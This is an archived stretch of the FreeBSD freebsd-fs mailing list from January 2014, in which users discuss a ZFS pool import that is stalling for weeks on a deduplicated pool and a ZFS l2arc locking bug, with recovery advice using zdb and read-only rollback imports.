(mail-vc0-x22e.google.com [IPv6:2607:f8b0:400c:c03::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C59EA1988 for ; Tue, 14 Jan 2014 16:58:29 +0000 (UTC) Received: by mail-vc0-f174.google.com with SMTP id im17so376972vcb.33 for ; Tue, 14 Jan 2014 08:58:28 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=ZUAmBoqQANKagqsUFdFJZorGgRv3VxGPpHTsR5d+ygs=; b=JFmjL542HC9P7Jh//WSVfvmzRuMdNegtpF78MjUhdwXTpyloYaVoHTxurZ5YAoYFYC A3832HUSZC7XRjLKDVyLsW8kufn3M5L+yqNtr9p7nYCzzta1tUwlD8RR26nnodOIpotq ubxluU3AxfT8dx8ObmcvGBwLZqiGUPp+nDRtXHWavf/3MVpS/m+ViAPFVlbe/JWbaoie SYXMiexfJTLE29xOK8diALl5TgdnM1lArS5fKfErmvrWsFfCMujMLQAnBR69MFChRtRo 9Dg2VR+OBu9rVSOKdk2vepYZ7BnnNeqs51wD0b9PT0u85KYuuVowie3b425wgtKfRHyF hlPw== MIME-Version: 1.0 X-Received: by 10.58.127.103 with SMTP id nf7mr210596veb.76.1389718708872; Tue, 14 Jan 2014 08:58:28 -0800 (PST) Received: by 10.58.165.2 with HTTP; Tue, 14 Jan 2014 08:58:28 -0800 (PST) In-Reply-To: References: Date: Tue, 14 Jan 2014 11:58:28 -0500 Message-ID: Subject: Re: zpool import taking weeks ... From: Thomas Hoffmann To: Freddie Cash Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Filesystems X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 16:58:30 -0000 On Tue, Jan 14, 2014 at 11:52 AM, Freddie Cash wrote: > Dedupe enabled on this server? > > > -- > Freddie Cash > fjwcash@gmail.com Buried in his rather lengthy text was: "The storage is using one zpool with multiple dataset with dedup on (i know it EATS RAM :s )" So the answer is yes. From owner-freebsd-fs@FreeBSD.ORG Tue Jan 14 18:07:30 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1D91B6A for ; Tue, 14 Jan 2014 18:07:30 +0000 (UTC) Received: from mail-ob0-x234.google.com (mail-ob0-x234.google.com [IPv6:2607:f8b0:4003:c01::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id D5CD91F95 for ; Tue, 14 Jan 2014 18:07:29 +0000 (UTC) Received: by mail-ob0-f180.google.com with SMTP id wm4so3266292obc.39 for ; Tue, 14 Jan 2014 10:07:29 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=j+ST2vr4RN7RxM4lbM1YVhb9gGcZbuERntMkxkTJg1Y=; b=eOrEdB4ppImN5aeTnMuqzINC1DMcsQcW5LOVK5EK3odb4227ChEGJWVolAgFvSpT9A iG6b9Yp1ppCZbOLdMbdMmn01+tHDPWkSigy/sUTxSa1GmXCXw7rfO6fqib75JKW7j8jv 3/DZHM+d2gxKLjpF6XaHlT2oPiDyElWy/bBHL7rlb4UfyMQRvELtpJsmHdjzJagyvJfj Ob5Z67ahJIYsp0vlo3vrrdDH+cstxIMXFJEsA3BHrglzuPBdq47+etyB0FAsvG/1cWf4 ykiO4IPYcLYHavA2naSeCH/cP+2KcZaVbfqwCIsg+4hryrl1U2EJ7L7Q7SqgoUlidgU8 DJ7Q== MIME-Version: 1.0 X-Received: by 10.182.29.33 with SMTP id g1mr2206002obh.59.1389722849172; Tue, 14 Jan 2014 10:07:29 -0800 (PST) Received: by 10.76.132.9 with HTTP; Tue, 14 Jan 2014 10:07:29 -0800 (PST) In-Reply-To: References: Date: Tue, 14 Jan 2014 10:07:29 -0800 Message-ID: Subject: Re: zpool import taking weeks ... From: Freddie Cash To: Thomas Hoffmann Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Filesystems X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 18:07:30 -0000 On Tue, Jan 14, 2014 at 8:58 AM, Thomas Hoffmann wrote: > On Tue, Jan 14, 2014 at 11:52 AM, Freddie Cash wrote: > >> Dedupe enabled on this server? >> >> >> -- >> Freddie Cash >> fjwcash@gmail.com > > > Buried in his rather lengthy text was: > > "The storage is using one zpool with multiple dataset with dedup on (i > know it EATS RAM :s )" > > So the answer is yes. > =E2=80=8BWhoops, missed that. In that case, it's "normal". The pool was interrupted in the middle of a send and a rollback. The import will now do the necessary cleanup to return the pool to the correct state, during the import process. To do so, it has to remove all the blocks from the send, remove all the blocks from the rollback, and update the DDT entries for all those blocks. It will load the DDT into ARC as needed, and eventually blow out all the RAM in the system and lockup. Reboot, re-do the import, it will continue from where it left off, load the DDT into ARC, and eventually blow out all the RAM in the system and lockup. Rinse, repeat, reboot, blah blah blah. After several iterations, it will eventually finish the cleanup, and the pool will import. This is a known limitation of dedupe and interrupted operations. Similar to the "destroy lots of filesystems" and then lockup issue. Basically, dedupe makes a lot of things very slow in recovery. I once had to spend 2 weeks doing the reboot/import/wait/lockup dance to get through a similar situation.=E2=80=8B =E2=80=8B-=E2=80=8B - Freddie Cash fjwcash@gmail.com From owner-freebsd-fs@FreeBSD.ORG Tue Jan 14 19:55:49 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6D54DC65 for ; Tue, 14 Jan 2014 19:55:49 +0000 (UTC) Received: from mail-ea0-x235.google.com (mail-ea0-x235.google.com [IPv6:2a00:1450:4013:c01::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 005C219AB for ; Tue, 14 Jan 2014 19:55:48 +0000 (UTC) Received: by mail-ea0-f181.google.com with SMTP id m10so39654eaj.12 for ; Tue, 14 Jan 2014 11:55:47 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=wkbzMwqZtU26XvA1URtCjAmiFlymbyjkds/U5bqdFq8=; b=JGleKfADpN/av9w1RyHrKblJ0ps9AqfjeoPl/ymF5EXjlvDntnClAWdmG0Y4z2IqBq 1rppHXBAxLlxpp3TcFqrZ2s0KPhixi4tSjveRdbv4mnssIyBhtup0kTAO3ZfAZdtSVUM UnhLP38Vni3W1LfULZZ5NzaQ3puLCRawoysl/sm1HPMmaXsxOyGNqwYwXkEWUfQHxcqQ qJFC4Y6rODe3cGruuhtfdvcMNJDrrzPhihC1SzU1pcfpTnUb2Jdrk66/1HMg/jW/S4Ld IbVhKpCRHwxvsBFpq/I0kUBZ+cZPbH0+Zhb8+SCbrIAzz/WPBErzEKPKTWqRcBGjdInJ jUTg== X-Received: by 10.14.113.199 with SMTP id a47mr4334388eeh.41.1389729347252; Tue, 14 Jan 2014 11:55:47 -0800 (PST) Received: from [192.168.1.14] (5ED0E470.cm-7-1d.dynamic.ziggo.nl. [94.208.228.112]) by mx.google.com with ESMTPSA id 4sm4331706eed.14.2014.01.14.11.55.46 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 14 Jan 2014 11:55:46 -0800 (PST) Message-ID: <52D59642.6070007@gmail.com> Date: Tue, 14 Jan 2014 20:55:46 +0100 From: Johan Hendriks User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Slawa Olhovchenkov Subject: Re: zfs locking References: <20140114133642.GM16734@zxy.spb.ru> <52D543B7.2010407@FreeBSD.org> <20140114141347.GN16734@zxy.spb.ru> In-Reply-To: <20140114141347.GN16734@zxy.spb.ru> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-fs@freebsd.org X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 19:55:49 -0000 Slawa Olhovchenkov schreef: > On Tue, Jan 14, 2014 at 04:03:35PM +0200, Andriy Gapon wrote: > >> on 14/01/2014 15:36 Slawa Olhovchenkov said the following: >>> DTRACE_PROBE2(l2arc__read, vdev_t *, vd, >>> zio_t *, rzio); >>> ARCSTAT_INCR(arcstat_l2_read_bytes, // arc_read+2137 >>> hdr->b_l2hdr->b_asize); >>> >>> if (*arc_flags & ARC_NOWAIT) { >>> zio_nowait(rzio); >>> return (0); >>> } >>> >>> ASSERT(*arc_flags & ARC_WAIT); >>> if (zio_wait(rzio) == 0) >>> return (0); >>> >>> /* l2arc read error; goto zio_read() */ >>> >>> Is this locking issue? >> This looks like a bug that was already fixed in illumos and FreeBSD head. >> What version of FreeBSD do you use? >> See r258388 and r258389. > 10.0-BETA1 > > I don't see commit to 10.x > _______________________________________________ > freebsd-fs@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-fs > To unsubscribe, send any mail to "freebsd-fs-unsubscribe@freebsd.org" I think that at that time HEAD was FreeBSD 10, FreeBSD 11 was created later on. If you look at the source, you can see that these fixes are in the source of 10.0 regards Johan From owner-freebsd-fs@FreeBSD.ORG Tue Jan 14 20:18:01 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 984574C5 for ; Tue, 14 Jan 2014 20:18:01 +0000 (UTC) Received: from zxy.spb.ru (zxy.spb.ru [195.70.199.98]) by mx1.freebsd.org (Postfix) with ESMTP id 584C81185 for ; Tue, 14 Jan 2014 20:18:01 +0000 (UTC) Received: from slw by zxy.spb.ru with local (Exim 4.69 (FreeBSD)) (envelope-from ) id 1W3AQy-000Imq-Iq; Wed, 15 Jan 2014 00:18:00 +0400 Date: Wed, 15 Jan 2014 00:18:00 +0400 From: Slawa Olhovchenkov To: Johan Hendriks Subject: Re: zfs locking Message-ID: <20140114201800.GS16734@zxy.spb.ru> References: <20140114133642.GM16734@zxy.spb.ru> <52D543B7.2010407@FreeBSD.org> <20140114141347.GN16734@zxy.spb.ru> <52D59642.6070007@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52D59642.6070007@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: slw@zxy.spb.ru X-SA-Exim-Scanned: No (on zxy.spb.ru); SAEximRunCond expanded to false Cc: freebsd-fs@freebsd.org X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 20:18:01 -0000 On Tue, Jan 14, 2014 at 08:55:46PM +0100, Johan Hendriks wrote: > Slawa Olhovchenkov schreef: > > On Tue, Jan 14, 2014 at 04:03:35PM +0200, Andriy Gapon wrote: > > > >> on 14/01/2014 15:36 Slawa Olhovchenkov said the following: > >>> DTRACE_PROBE2(l2arc__read, vdev_t *, vd, > >>> zio_t *, rzio); > >>> ARCSTAT_INCR(arcstat_l2_read_bytes, // arc_read+2137 > >>> hdr->b_l2hdr->b_asize); > >>> > >>> if (*arc_flags & ARC_NOWAIT) { > >>> zio_nowait(rzio); > >>> return (0); > >>> } > >>> > >>> ASSERT(*arc_flags & ARC_WAIT); > >>> if (zio_wait(rzio) == 0) > >>> return (0); > >>> > >>> /* l2arc read error; goto zio_read() */ > >>> > >>> Is this locking issue? > >> This looks like a bug that was already fixed in illumos and FreeBSD head. > >> What version of FreeBSD do you use? > >> See r258388 and r258389. > > 10.0-BETA1 > > > > I don't see commit to 10.x > > _______________________________________________ > > freebsd-fs@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-fs > > To unsubscribe, send any mail to "freebsd-fs-unsubscribe@freebsd.org" > I think that at that time HEAD was FreeBSD 10, FreeBSD 11 was created > later on. > If you look at the source, you can see that these fixes are in the > source of 10.0 10 fork at r256279, before this fixes. From owner-freebsd-fs@FreeBSD.ORG Wed Jan 15 08:29:28 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 73D90808 for ; Wed, 15 Jan 2014 08:29:28 +0000 (UTC) Received: from mail-oa0-x235.google.com (mail-oa0-x235.google.com [IPv6:2607:f8b0:4003:c02::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 3A85B179F for ; Wed, 15 Jan 2014 08:29:28 +0000 (UTC) Received: by mail-oa0-f53.google.com with SMTP id i7so851709oag.40 for ; Wed, 15 Jan 2014 00:29:27 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=j3djeQMOXnj+KWc8mftwRxyGxpahVu5Uyk76yYaeJWc=; b=zDEldFEfhLzVf9f62lcWhuNN4k+mbYFQ8Me5O6Avw56OGYshpeuRV/YhYVPimE84rc 6hVUqzCZepMEhoHnYnMzRTLy9vph0iKuWIqceLweREhZsgP4tN3yg9jx2EEcCy4mWd+c vdu8t6CbeleX/yQUTZ2iUSodBsjoSRSS8DlTvYDUtB6hSb9lOBf60DVEZDy41bvmss+O uSUgqZzOrR2FmJMKoTOZ9Xzm0hbF6p1gxi3mgioSrW9Pb6JuCGPUu7Z/ZR8ypCSc7Pg5 69fVPCzGDEEn6HMYKNMQtyUgcgYCgKUHeRo6ZCaiS232CnMkrfczU5wz3/JtUa7PqccJ NAHQ== MIME-Version: 1.0 X-Received: by 10.60.37.33 with SMTP id v1mr769455oej.2.1389774567442; Wed, 15 Jan 2014 00:29:27 -0800 (PST) Received: by 10.60.171.145 with HTTP; Wed, 15 Jan 2014 00:29:27 -0800 (PST) In-Reply-To: References: Date: Wed, 15 Jan 2014 09:29:27 +0100 Message-ID: Subject: Re: zpool import taking weeks ... From: Ulysse 31 To: Freddie Cash Content-Type: text/plain; charset=ISO-8859-1 Cc: FreeBSD Filesystems X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 15 Jan 2014 08:29:28 -0000 Thanks for the answer. I was beginning to ... well ... have a little start of panic ^^' The import still running but no real activity on disks : sometimes, maybe something like each hour, there is some really brief led activity on the hdd, but nothing more. one thing that would be great is to have an overall percentage or just counting of what is done or what is left ... for now i don't even know if it's gonna end on the next 5 mins or on the next 5 weeks :s So now since i have no real activity on the actual zpool import (the last import started a week ago, it do not have go out of swap since i added lot of swap (260G HDD swap)), should i just let it run, or make a reboot and start over ? Also once imported, and since i don't care about the data actually on the incriminated dataset (the one that crashed with the recv/rollback), I was planning to simply delete that dataset and make a new full sync, what do you think about it ? Thanks again for your help. 2014/1/14 Freddie Cash : > On Tue, Jan 14, 2014 at 8:58 AM, Thomas Hoffmann wrote: >> >> On Tue, Jan 14, 2014 at 11:52 AM, Freddie Cash wrote: >>> >>> Dedupe enabled on this server? >>> >>> >>> -- >>> Freddie Cash >>> fjwcash@gmail.com >> >> >> Buried in his rather lengthy text was: >> >> "The storage is using one zpool with multiple dataset with dedup on (i >> know it EATS RAM :s )" >> >> So the answer is yes. > > > Whoops, missed that. > > In that case, it's "normal". The pool was interrupted in the middle of a > send and a rollback. The import will now do the necessary cleanup to return > the pool to the correct state, during the import process. To do so, it has > to remove all the blocks from the send, remove all the blocks from the > rollback, and update the DDT entries for all those blocks. > > It will load the DDT into ARC as needed, and eventually blow out all the RAM > in the system and lockup. > > Reboot, re-do the import, it will continue from where it left off, load the > DDT into ARC, and eventually blow out all the RAM in the system and lockup. > > Rinse, repeat, reboot, blah blah blah. > > After several iterations, it will eventually finish the cleanup, and the > pool will import. > > This is a known limitation of dedupe and interrupted operations. Similar to > the "destroy lots of filesystems" and then lockup issue. Basically, dedupe > makes a lot of things very slow in recovery. > > I once had to spend 2 weeks doing the reboot/import/wait/lockup dance to get > through a similar situation. > > - > - > Freddie Cash > fjwcash@gmail.com -- Ulysse31 From owner-freebsd-fs@FreeBSD.ORG Wed Jan 15 23:05:13 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 571897D1 for ; Wed, 15 Jan 2014 23:05:13 +0000 (UTC) Received: from anubis.delphij.net (anubis.delphij.net [64.62.153.212]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 355501075 for ; Wed, 15 Jan 2014 23:05:12 +0000 (UTC) Received: from zeta.ixsystems.com (unknown [69.198.165.132]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by anubis.delphij.net (Postfix) with ESMTPSA id B863429C34; Wed, 15 Jan 2014 15:05:06 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=delphij.net; s=anubis; t=1389827106; bh=N0uLSzHnsUzKWf30gv3XWsaxhkc6J6giAgWe7CMqM2c=; h=Date:From:Reply-To:To:CC:Subject:References:In-Reply-To; b=TuOjcq1xPdu+wrN9M3pt4ruN9nxIpJxlqaIA9IVXMWnC+GpsdIIAfY9GMwrrP4T1o 0E7C2mKShLVDtV1w3lUfuMdNt5Vqo1fpLQ+EKS85RnwyMgmPI34ujCT4xAUWqvXZBY 1TLzDDKsaJyhV9IpzIKfB9HAlbGjdEnt6c5Xrpuc= Message-ID: <52D71421.3030103@delphij.net> Date: Wed, 15 Jan 2014 15:05:05 -0800 From: Xin Li Organization: The FreeBSD Project MIME-Version: 1.0 To: Ulysse 31 , Freddie Cash Subject: Re: zpool import taking weeks ... References: In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: FreeBSD Filesystems X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: d@delphij.net List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 15 Jan 2014 23:05:13 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Hi, On 01/15/14 00:29, Ulysse 31 wrote: > Thanks for the answer. > > I was beginning to ... well ... have a little start of panic ^^' > The import still running but no real activity on disks : > sometimes, maybe something like each hour, there is some really > brief led activity on the hdd, but nothing more. one thing that > would be great is to have an overall percentage or just counting of > what is done or what is left ... for now i don't even know if it's > gonna end on the next 5 mins or on the next 5 weeks :s So now since > i have no real activity on the actual zpool import (the last import > started a week ago, it do not have go out of swap since i added lot > of swap (260G HDD swap)), should i just let it run, or make a > reboot and start over ? Also once imported, and since i don't care > about the data actually on the incriminated dataset (the one that > crashed with the recv/rollback), I was planning to simply delete > that dataset and make a new full sync, what do you think about it > ? Thanks again for your help. TL;DR version: no, you have to wait. However there is an alternative if you have enough resources (hardware, etc.) to do it. Longer version: You would have a way better situation with newer version of FreeBSD *and* have upgraded your pool, but for now you may have to wait. Maxing out your RAM may be helpful (but requires a reboot, which means you have to start over). There is another option, assuming you have another system and enough disks, though. What you can do is basically boot the system without ZFS enabled, move /boot/zfs/zpool.cache to somewhere else, then load the kernel module, then: zdb -u -e tank ('tank' is your zpool name) zdb -hh -e tank This would show a history of your pool with a txg number associated. Take a guess (yes, a guess), then try: zdb -u -e -t tank If the output is sane, try: zpool import -o readonly=on -f -R /mnt -F -T tank This would import your pool read-only at that txg number. Now you should be able to copy off data from the pool (maybe via network, etc). Newer version of ZFS does have asynchronous destroy feature, faster destroy (can be 100x faster than previous ZFS version), as well as improvements to limit delete transaction to take too much of I/O bandwidth, but you can only benefit from them when you have upgraded the pool. Cheers, - -- Xin LI https://www.delphij.net/ FreeBSD - The Power to Serve! Live free or die -----BEGIN PGP SIGNATURE----- iQIcBAEBCgAGBQJS1xQhAAoJEJW2GBstM+nsXkQP/2ezsHdR+ave3OpxZj3V94Bw s2nWrp3JWJKm5g4VqtpdUyBDADcmPT4ULJENNt3BNCNBVexZ9bAsbGjemVcNRoHP +IuyCEgCAPuZ/yUrwJQHhc/iD/bq08yFv7zp7HKf0/pKNJvHb3PIW8MVdpAXO8Sa 9GSTwxk09K9d3gpP9jBTN/qvWLbjPq1vKHtJj5aJ798WVDQL9SWpJaEqt+z4rGZI 9xy5nHYpYfzFQ+zyOpGksnfWezddghMqUfxd4KIqqiUrZSDnMH/qqF/8TAJXHk37 SHjy+Kjuicx6XfYxxdoXcQwPL3thq7cuuWgqWVxehxY94hd43EoORMPlysucVRQe PkXuIZYF+gkHERVg7lrTXrTsGxYdzilM7QYl43+4RaMBSRZM/6XBOoN17oZVlVjs s2SGeRK0SD/3ldYxdM5fdyMuU5PgPT2NREIiNUjN+RNfhw/zqimvbsoBhuD0uHnY FWgSlTT9j2oTx1ZD86nTvV6r7ikBDOOOlZoCtOy3tWkpgXHJz5NgH3yJLtZdc248 3m85rMeZ3ohqB5DGc7vSkweaYW4692LH8DJY0RjZbBG0W/g6zAsklOHnvI/mo/kF St7mLp9U4JTow+02A4WSRmbPFMxxhPh1ekwDB1rcoOEBZJrPt/ki4cfwVcaZ0DxO yB/XzKYGUz7ks2r9HcPx =83LS -----END PGP SIGNATURE----- From owner-freebsd-fs@FreeBSD.ORG Thu Jan 16 06:47:02 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2DE21F3 for ; Thu, 16 Jan 2014 06:47:02 +0000 (UTC) Received: from mail-wg0-x233.google.com (mail-wg0-x233.google.com [IPv6:2a00:1450:400c:c00::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B3E531346 for ; Thu, 16 Jan 2014 06:47:01 +0000 (UTC) Received: by mail-wg0-f51.google.com with SMTP id z12so2689159wgg.18 for ; Wed, 15 Jan 2014 22:47:00 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=references:in-reply-to:mime-version:content-transfer-encoding :content-type:message-id:cc:from:subject:date:to; bh=1VkXKFZpS0HUY9DPYdk5m/P0DwbMiXV0LshZT4pfIqU=; b=UmJzsN1pCe34BKycZ8hJTCU0Tq6+YnWWY5sMjaY9FhZq2OFj6MXFX7ha4BrZ9U69IW mCe5UXWt3100iXEzAJSWU/pNlg1ty++9PWNNEi5Uw1g2kEOpc/dfRD2YqRIV4VYYA0IL 7HDueWCaTBwJFP0A1BQBrH/QH6rDPzyew+eo075Li2AtaRCnN0Yqd5dNmZgSnLQQtndI CLC9aO52wmyyyVLQn3oCBByFrmoQoPAU284qaFOUMBkUzyUp3cDdKvjMvTLZoAjBCPnV MB0AYOAy9+2f0NHKro87U8RgpnByIb51H4d6qUrj0LDRY0I+Kcha7DaMrOVBi8IcsW6/ YAlg== X-Received: by 10.194.93.67 with SMTP id cs3mr6781157wjb.26.1389854817114; Wed, 15 Jan 2014 22:46:57 -0800 (PST) Received: from [192.168.0.10] (alf94-11-82-247-6-183.fbx.proxad.net. [82.247.6.183]) by mx.google.com with ESMTPSA id pl7sm5165229wjc.16.2014.01.15.22.46.55 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 15 Jan 2014 22:46:55 -0800 (PST) References: <20140115223403.GA69817@neutralgood.org> In-Reply-To: <20140115223403.GA69817@neutralgood.org> Mime-Version: 1.0 (1.0) Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=utf-8 Message-Id: <628AA905-09F4-43DA-8EB0-820557EEFC79@gmail.com> X-Mailer: iPhone Mail (9A405) From: Gomes do Vale Victor Subject: Re: zpool import taking weeks ... Date: Thu, 16 Jan 2014 07:46:52 +0100 To: "kpneal@pobox.com" Cc: FreeBSD Filesystems X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jan 2014 06:47:02 -0000 Hi Le 15 janv. 2014 =C3=A0 23:34, kpneal@pobox.com a =C3=A9crit : > On Wed, Jan 15, 2014 at 09:29:27AM +0100, Ulysse 31 wrote: >> Thanks for the answer. >>=20 >> I was beginning to ... well ... have a little start of panic ^^' >> The import still running but no real activity on disks : sometimes, >> maybe something like each hour, there is some really brief led >> activity on the hdd, but nothing more. >> one thing that would be great is to have an overall percentage or just >> counting of what is done or what is left ... for now i don't even know >> if it's gonna end on the next 5 mins or on the next 5 weeks :s >> So now since i have no real activity on the actual zpool import (the >> last import started a week ago, it do not have go out of swap since i >> added lot of swap (260G HDD swap)), should i just let it run, or make >> a reboot and start over ? >=20 > Memory used by the ZFS DDT is (someone correct me if I'm wrong) kernel > memory that I don't think is swappable. So adding more swap space won't > help. (Again, correct me if I'm out of date or just wrong please.) >=20 Yes, it's kernel memory but appears as "wired" not as "used", and it does no= t change the fact that zpool import goes out of swap without the swap disk (= tested and approved). With the disk memory is all (64Gb) marked as wired (ke= rnel usage) plus 780Mo used in swap.=20 > Worse, keeping track of swap space takes kernel memory for the bookkeeping= . Again, I have tested zpool import WITHOUT the disk, and it as gone "out of s= wap" (out of memory) since I added the disk it as taken all mem plus swap. P= lease read my first and my post . > That memory for swap bookkeeping is memory that can't be used by ZFS. So > the large swap device you added is only making the situation worse. This > also implies that you'll get best results by not having any swap space > at all during the problematic import. You can re-add it once the import > is completed. >=20 I really don't know if ZFS can swap or not, what I know is that system and l= ivecd goes out of memory on import. One possible solution is simply ZFS takes all RAM leaving swap to user land .= .. But result is the same : machine crashes without it. > --=20 > Kevin P. Neal http://www.pobox.com/~kpn/ >=20 > Seen on bottom of IBM part number 1887724: > DO NOT EXPOSE MOUSE PAD TO DIRECT SUNLIGHT FOR EXTENDED PERIODS OF TIME. From owner-freebsd-fs@FreeBSD.ORG Thu Jan 16 07:00:54 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F0DFB450 for ; Thu, 16 Jan 2014 07:00:53 +0000 (UTC) Received: from mail-we0-x230.google.com (mail-we0-x230.google.com [IPv6:2a00:1450:400c:c03::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8479B14AF for ; Thu, 16 Jan 2014 07:00:53 +0000 (UTC) Received: by mail-we0-f176.google.com with SMTP id q58so2782356wes.35 for ; Wed, 15 Jan 2014 23:00:52 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=references:in-reply-to:mime-version:content-transfer-encoding :content-type:message-id:cc:from:subject:date:to; bh=JWNHZcgxiKdVd6xB1tlTJE+ZEj3jWgzXW/Z4dZYgLyQ=; b=cC2YgrKAtNxirFliD3FAHV4iLv6uMlpWFdIqBd1C9jaHHh1it/RF/RaS97Uc66OtaQ kPJXHgy6hEWC974AIhHpD6KSdTDLWPOGtNqKaTF5RNuMDir2IK0HiWHmYqnie6THFu7E BHqbgGUKywgkwz9U1H8LYcnrFLh0M09EGVt8dHjpkHEJpsLBiiPYIYMJO63JBuC+avq+ xuiI/KLF53GbPQ5VQD74tE1vlxUXWhwVq1VBZ2ECOhLJWwD4T062PLho9HF0qLDjPPGU 